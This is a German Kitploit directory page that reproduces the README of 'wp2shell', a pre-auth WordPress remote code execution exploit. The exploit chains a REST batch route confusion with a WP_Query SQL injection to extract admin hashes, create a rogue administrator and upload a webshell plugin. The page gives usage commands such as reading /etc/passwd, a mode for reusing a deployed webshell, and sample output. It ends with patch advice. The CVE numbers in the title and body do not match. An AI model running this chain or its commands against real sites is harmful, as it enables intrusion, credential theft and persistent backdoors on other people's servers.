Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Einreichen
ToolsExploitsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
Wp2Shell — Exploit-POC für Wp2Shell, CVE-2026-63030 + CVE-2026-63137 | Kitploit
Tools/GitHubGitHub/c0gnit00/wp2shell
SchwachstellenanalyseExploitationWebanwendungs-ExploitationPenetrationstestsLernen & BildungRemote-Access-ToolPayload-Entwicklung
GitHubc0gnit00/wp2shell

Wp2Shell

Exploit-POC für Wp2Shell, CVE-2026-63030 + CVE-2026-63137

Repository anzeigen
1244vor 2 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

wp2shell

Vorauthentifizierungs-Remote-Code-Ausführung im WordPress Core.

CVE-2026-60137 (SQL-Injection in WP_Query) verkettet mit CVE-2026-63030 (REST-API-Batch-Routen-Verwirrung).

Nur für Bildungszwecke und autorisierte Sicherheitsforschung.


Betroffene Versionen

WordPress 6.9.0 bis 6.9.4 und 7.0.0 bis 7.0.1 sind verwundbar. Behoben in 6.9.5 und 7.0.2.


Funktionsweise

Der Exploit verkettet zwei Schwachstellen:

CVE-2026-63030 — Batch-Routen-Verwirrung. Der REST-API-Batch-Endpunkt unter /wp-json/batch/v1 (oder /?rest_route=/batch/v1) verarbeitet Unteranfragen in zwei Phasen: Er ordnet jeden Pfad einem Handler zu und leitet dann jede Anfrage durch ihren zugeordneten Handler. Wenn ein absichtlich fehlerhafter Pfad (///) als erste Unteranfrage eingefügt wird, speichert WordPress einen WP_Error an Index 0 des Arrays der zugeordneten Routen. Dadurch wird jede nachfolgende Handlerzuordnung um einen Index zurückverschoben. Die Dispatch-Schleife paart dann jede Anfrage mit dem falschen Handler – eine Anfrage, die gegen Schema A validiert wurde, wird von Handler B ausgeführt, wodurch die von Schema A erzwungene Parametersanitisierung umgangen wird.

CVE-2026-60137 — SQL-Injection in WP_Query. Der Posts-Collection-Endpunkt akzeptiert einen author_exclude-Parameter, dessen Schema ganzzahlige Array-Werte erzwingt und jedes Element mit absint() bereinigt, bevor es WP_Query erreicht. Die Batch-Desynchronisation führt dazu, dass dieser Parameter die Schema-Validierung vollständig umgeht und als roher String in die author__not_in-Logik von WP_Query gelangt. Da absint() nur innerhalb eines is_array()-Zweigs angewendet wird, wird der rohe String direkt in die SQL-WHERE-Klausel interpoliert, was eine UNION SELECT-Injektion ermöglicht.

Die vollständige Kette verläuft in vier Schritten:

  1. Bestätigen, dass der Batch-Endpunkt erreichbar ist und die Desynchronisation funktioniert.
  2. Extrahieren der Datenbankversion, des Benutzers, des Tabellenpräfixes und der Administrator-Anmeldeinformationen über UNION SELECT-Zeilen, die in der REST-JSON-Antwort reflektiert werden.
  3. Erstellen eines neuen Administratorkontos durch Injizieren gefälschter wp_posts-Zeilen, die den oEmbed-Cache vergiften und den Changeset-Veröffentlichungs-Hook von WP_Customize_Manager auslösen, der wp_insert_user() mit role=administrator aufruft.
  4. Authentifizieren mit dem neuen Konto, Hochladen eines PHP-Plugins als einzelne Datei (Zip-Archiv) über die Standard-Plugin-Upload-Oberfläche, Aktivieren und Ausführen von OS-Befehlen über die Shell.

Anforderungen

  • Python 3.8 oder neuer
  • Keine Abhängigkeiten von Drittanbietern (nur Standardbibliothek)
  • Netzwerkzugriff auf die Ziel-WordPress-Instanz

Installation

git clone https://github.com/YOUR_USERNAME/Wp2Shell.git
cd Wp2Shell

Keine pip-Installation erforderlich.


Verwendung

Vollständige Exploit-Kette

Führt alle vier Schritte aus: Desynchronisationsbestätigung, SQL-Aufklärung, Erstellung eines Administrators und Bereitstellung einer Webshell. Bei jedem Durchlauf werden ein neues Administratorkonto und ein neues Plugin erstellt.

python3 exploit.py --url http://TARGET --command "id"
python3 exploit.py --url http://TARGET --command "uname -a"
python3 exploit.py --url http://TARGET --command "cat /etc/passwd"

Gegen ein HTTPS-Ziel mit einem selbstsignierten Zertifikat:

python3 exploit.py --url https://TARGET --command "id" --insecure

Wiederverwendung einer vorhandenen Webshell

Nach Abschluss eines vollständigen Kettenlaufs gibt das Skript einen sofort verwendbaren Wiederverwendungsbefehl mit den bereitgestellten Anmeldeinformationen und dem Shell-Pfad aus. Übergeben Sie diese drei Flags bei nachfolgenden Läufen, um die SQL- und Admin-Erstellungsphasen komplett zu überspringen:

python3 exploit.py \
  --url                  http://TARGET \
  --command              "whoami" \
  --admin-user           wp2_poc_da4d1cf83acb \
  --admin-password       "Wp2!J47LBKLEbu4ebAJo" \
  --prev-webshell-plugin /wp-content/plugins/wp2shell_6c6f62a8/wp2shell_6c6f62a8.php

Kommandozeilen-Referenz

usage: exploit.py [-h] [--url URL] [--command CMD] [--insecure]
                  [--admin-user USER] [--admin-password PASS]
                  [--prev-webshell-plugin PATH]
FlagShortBeschreibung
--url-uZiel-WordPress-Basis-URL. Standard: http://localhost:8080
--command-cOS-Befehl zur Ausführung. Standard: id
--insecure-kDeaktivieren der TLS-Zertifikatsprüfung für selbstsignierte Zertifikate
--admin-userWiederverwendungsmodus: zuvor erstellter Administratorkontoname
--admin-passwordWiederverwendungsmodus: zuvor erstelltes Administratorkontopasswort
--prev-webshell-pluginWiederverwendungsmodus: Webpfad zum bereits bereitgestellten Webshell-Plugin

Die drei --admin-* / --prev-webshell-plugin-Flags müssen entweder alle zusammen oder gar nicht angegeben werden.


Beispielausgabe

Vollständige Kette

+======================================================================+
|         wp2shell -- Pre-Auth RCE PoC (Educational / Research)        |
|   CVE-2026-60137 (SQLi)  +  CVE-2026-63030 (Batch Route Confusion)  |
+======================================================================+
  Target :  http://localhost:8080
  Command:  uname -a
  Mode   :  FULL CHAIN

[STEP 1] Verifying batch endpoint + route-confusion desync
  [+] Batch endpoint reachable (HTTP 207)
  [+] Route-confusion desync confirmed (markers: block_cannot_read, parse_path_failed, rest_batch_not_allowed)

[STEP 2] UNION SQLi -- database reconnaissance
  [+] Database version  : 10.11.18-MariaDB-ubu2204
  [+] Database user     : wpuser@%
  [+] Database name     : wordpress
  [+] Table prefix      : wp_
  [+] Admin login       : admin
  [+] Admin hash (phpass) : $wp$2y$10$BSAr2Yyk/...
  [+] Admin user ID     : 1

[STEP 3] Creating a fresh administrator via oEmbed post-cache poisoning
  [*] Seeding oEmbed cache with 3 loopback URLs...
  [+] oEmbed cache IDs: [96, 97, 98]
  [*] Submitting changeset poison + user creation...
  [+] Admin created -- username: wp2_poc_da4d1cf83acb  password: Wp2!J47LBKLEbu4ebAJo

[STEP 4] Authenticating + deploying webshell -- running: uname -a
  [*] Logging in to wp-admin...
  [+] Logged in as administrator
  [*] Uploading webshell plugin (slug: wp2shell_6c6f62a8)...
  [+] Plugin uploaded
  [*] Activating plugin...
  [+] Plugin activated
  [*] Executing: uname -a

============================================================
  COMMAND OUTPUT  --  uname -a
============================================================
Linux target 7.0.12+kali-amd64 #1 SMP PREEMPT_DYNAMIC x86_64 GNU/Linux
============================================================

  [+] RCE confirmed -- Pre-Auth exploit chain complete

  +-- RE-USE HINT ------------------------------------------+
  |  Skip the full chain next time -- pass these flags:      |
  +-----------------------------------------------------------+

  python3 exploit.py \
    --url                  http://localhost:8080 \
    --command              'YOUR_COMMAND' \
    --admin-user           wp2_poc_da4d1cf83acb \
    --admin-password       'Wp2!J47LBKLEbu4ebAJo' \
    --prev-webshell-plugin /wp-content/plugins/wp2shell_6c6f62a8/wp2shell_6c6f62a8.php

Abhilfe

Aktualisieren Sie sofort auf eine behobene Version.

  • WordPress 7.0.x: Aktualisieren Sie auf 7.0.2 oder neuer — wp core update
  • WordPress 6.9.x: Aktualisieren Sie auf 6.9.5 oder neuer — wp core update --version=6.9.5
  • WordPress 6.8.x: Aktualisieren Sie auf 6.8.6 oder neuer — wp core update --version=6.8.6
Tool herunterladen